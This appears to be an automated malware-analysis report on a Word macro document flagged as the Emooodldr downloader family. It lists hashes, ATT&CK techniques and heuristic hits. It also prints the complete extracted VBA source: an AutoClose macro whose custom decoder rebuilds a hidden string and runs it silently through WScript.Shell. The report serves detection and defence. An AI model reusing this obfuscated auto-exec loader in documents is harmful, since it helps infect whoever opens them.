Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 ed99eea02491a4c6…

MALICIOUS

Office (OOXML)

53.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 15b184dc5f5e2c6cafdf3edce8334a83 SHA-1: 7ac5151f5704d285f8b08339cb63cd44d0e96e86 SHA-256: ed99eea02491a4c659a54cb39f368b7c4713cbc6ef9677f169c1cb09f533bd6d
350 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA project with an AutoClose macro that is heavily obfuscated. This macro is designed to execute a second-stage payload, likely through the 'coexecutors' subroutine, as indicated by the 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and 'OLE_VBA_SHELL' heuristics. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family.

Heuristics 8

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If rackless - muskinesses > 1 Then
           CreateObject(Join(Array(splake, "Shell"), ".")).Run plantain, 0
           ciphony = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "coexecutors", daredevil
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If rackless - muskinesses > 1 Then
           CreateObject(Join(Array(splake, "Shell"), ".")).Run plantain, 0
           ciphony = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
      bradyglossia = Array("y", "j", "D", "d", "e", "B", "f", "M", "f", "g", "D", "d", "d", "S", "0", "L", "L", "e", "b", "v", "W", "d", "w", "b", "w", "u", "Y", "W", "f", "f", "d", "w", "v", "f", "j", "D", "l", "d", "7", "W", "B", "F", "w", "y", "L", "8", "I", "I", "L", "Y", "b", "f", "f", "p", "B", "S", "D", "S", "o", "l", "d", "y", "e", "t", "V", "W", "v", "f", "4", "w", "v", "i")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2171 bytes
SHA-256: 4457e65b5443f754b438c38742b8fb8529d355ca4bb5c58237d023778e41ec5d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function her(bradyglossia)
  bureaucracies = Array("w", "y", "u", "4", "p", "e", "d", "j", "V", "l", "S", "B", "v", "7", "Y", "I", "F", "o", "M", "f", "i", "0", "L", "D", "t", "b", "g", "W", "8")
  esselenian = Array("o", "m", "l", "f", "d", "a", "t", "s", "w", "u", "p", ".", "n", "k", "g", "B", "c", "?", "x", "e", "j", ":", "/", "h", "=", "r", " ", "i", "F")
  
  mellowness = vbNullString
  
  For Each overhold In bradyglossia
    auxosubstance = myriameter(overhold, bureaucracies, UBound(bureaucracies))
    If auxosubstance > -1 Then
    mellowness = esselenian(auxosubstance) & mellowness
    End If
  Next
  
  her = StrReverse(mellowness)
  
End Function

Public Function myriameter(floscular, hackworks, vacuumizes)
  deejaying = 5553
  tailplane = 772
  For deejaying = 0 To vacuumizes
    If hackworks(deejaying) = floscular And deejaying > -1 Then
     tailplane = deejaying
    End If
  Next

  If tailplane = 772 Then
    tailplane = -1
  End If
  
  myriameter = tailplane
End Function

Sub AutoClose()
  bradyglossia = Array("y", "j", "D", "d", "e", "B", "f", "M", "f", "g", "D", "d", "d", "S", "0", "L", "L", "e", "b", "v", "W", "d", "w", "b", "w", "u", "Y", "W", "f", "f", "d", "w", "v", "f", "j", "D", "l", "d", "7", "W", "B", "F", "w", "y", "L", "8", "I", "I", "L", "Y", "b", "f", "f", "p", "B", "S", "D", "S", "o", "l", "d", "y", "e", "t", "V", "W", "v", "f", "4", "w", "v", "i")
  daredevil = her(bradyglossia)
  
  Application.Run "coexecutors", daredevil
  
End Sub


Private Sub coexecutors(plantain)
   
   splake = "WScript"
   muskinesses = 3271
   ciphony = True
   
   While ciphony
     rackless = muskinesses + 60
     If rackless - muskinesses > 1 Then
       CreateObject(Join(Array(splake, "Shell"), ".")).Run plantain, 0
       ciphony = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 89be0e31c40662264e3f7e3327641e5ec5aac195d2469a4cc625af73553cb174
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely